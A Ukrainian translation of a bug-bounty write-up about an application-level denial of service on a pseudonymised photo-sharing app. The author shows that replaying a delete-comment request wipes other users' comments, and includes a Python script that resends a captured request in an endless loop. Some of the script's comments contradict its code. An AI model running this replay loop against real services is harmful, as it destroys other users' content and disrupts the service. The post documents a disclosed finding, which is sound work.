Привіт, друже! Це mrhashimamin
. Я сумую за тобою, серйозно. Це стара історія (ну, насправді лише 2 місяці тому, але я роблю це для тебе, mi amigo 3>).
Вона про баг, який я знайшов у публічній програмі пошуку вразливостей
(не розкриваю нічого, що може вказати на ціль, але думаю, ти здогадаєшся, xD). Назвемо її images-app.com
.
Це додаток соціальних мереж для обміну фотографіями, мемами тощо. Користувачі можуть реагувати на/додавати коментарі
до цих фотографій, а також є кілька інших цікавих функцій.
Невідповідність (N/A) катастрофа
Після кількох днів використання додатку як звичайного користувача
, перегляду опублікованих звітів
про старі баги і тестування основних функцій (скидання паролю, вхід, реєстрація
), я вирішив зосередитись на функції коментарів
.
Я почав з маніпулювання параметрами
при додаванні
коментаря, спробував редагувати
чужий коментар і спровокувати будь-які детальні
чи невідомі помилки. Нічого не вийшло.
Але ось що трапилось: коли я вперше видалив свій коментар
, сервер відповів з 200 OK (як і очікувалось
). Однак, коли я відправив той самий запит кілька разів, він все одно повертав 200 OK кожного разу
.
“І що з того?” — можеш запитати ти. Давайте повернемося до фотографії, на якій я тестував
. І так...всі коментарі були видалені!
До скрипту
Після скрипту
Моя помилка (Не робіть цього, будь ласка)
Я був занадто поспішним і повідомив
про це одразу, не повністю зрозумівши
, чому це сталося. І ось що сталося.
Тож, будь ласка, не поспішайте і завжди намагайтеся посилати будь-яке знайдене
. Дайте собі час, заглибтесь у проблему, і якщо ви все ще не знайдете нічого більш впливового
, тоді звітуйте про це.
Чому це була помилка?
Коли тріажер спробував відтворити це
, він насправді не зміг. Ось в чому річ: коли ви відправляєте запит на видалення більше одного разу
(наприклад, 3 рази), ви фактично видаляєте свій коментар
+ два інші коментарі
— але тільки до того часу, поки не додасться новий коментар від іншого користувача
. Тоді коментарі повертаються назад
.
Після додавання нового коментаря
Перше відповідання
Отже, в кінці кінців, я насправді не зробив нічого
, що мало реальний вплив. Вони закрили це як N/A
, тому що не змогли відтворити проблему
.
Перетворення на справжній баг
Я знову і знову переключався на іншу функцію
протягом двох тижнів
, поки не подумав: “А чому б мені не використати Python скрипт для автоматизації цього процесу знову і знову?”
Тож, я створив простий Python скрипт
, щоб перетворити це на дійсний баг
. Ось кроки:
- Нападник вибирає будь-яке зображення і
публікує коментар
до нього. - Нападник намагається
видалити свій коментар
, захоплює запит і зберігає його уreq.txt
. - Нападник використовує цей Python скрипт, щоб
відправляти запит кілька разів
, кожні5 секунд
(або менше).
4.
, доданий
Будь-який новий коментаркористувачем
, будевидалений
, разом ізвсіма існуючими коментарями
, що унеможливлює використання користувачами функціїкоментарів
.
Python скрипт:
# Дякую Chat-GPT, до речі
import requests
import time
# Функція для парсингу req.txt
def parse_request(file_path):
with open(file_path, "r") as file:
lines = file.readlines()
# Парсимо рядок запиту
request_line = lines[0].strip()
method, url_path, http_version = request_line.split(" ")
base_url = "https://www.images-app.com"
url = base_url + url_path
# Парсимо заголовки та тіло
headers = {}
body = None
is_body = False
for line in lines[1:]:
line = line.strip()
if not line:
is_body = True
continue
if is_body:
body = line
else:
key, value = line.split(": ", 1)
headers[key] = value
return method, url, headers, body
# Функція для відправки запиту двічі
def send_request(method, url, headers, body):
for _ in range(5):
response = requests.request(method, url, headers=headers, data=body)
print(f"Запит надіслано: {response.status_code}")
print("$ Очікування наступного циклу $")
# Основний цикл для надсилання запитів кожні 10 хвилин
file_path = "req.txt"
while True:
# Парсимо запит з req.txt
method, url, headers, body = parse_request(file_path)
# Відправляємо запит двічі
send_request(method, url, headers, body)
# Чекаємо 2 хвилини перед наступним циклом
time.sleep(30)
Після того, як вони проаналізували
це і прийняли як P3
, вони понизили пріоритет до P4
(так, типова схема, як завжди).
Та не важливо, це вся історія на сьогодні. Сподіваюся, цей опис був корисним. Дякую, і продовжуйте хакати 3>
`
Перекладено з: From N/A to $$$: A Simple Python Script Led to Application-Level DoS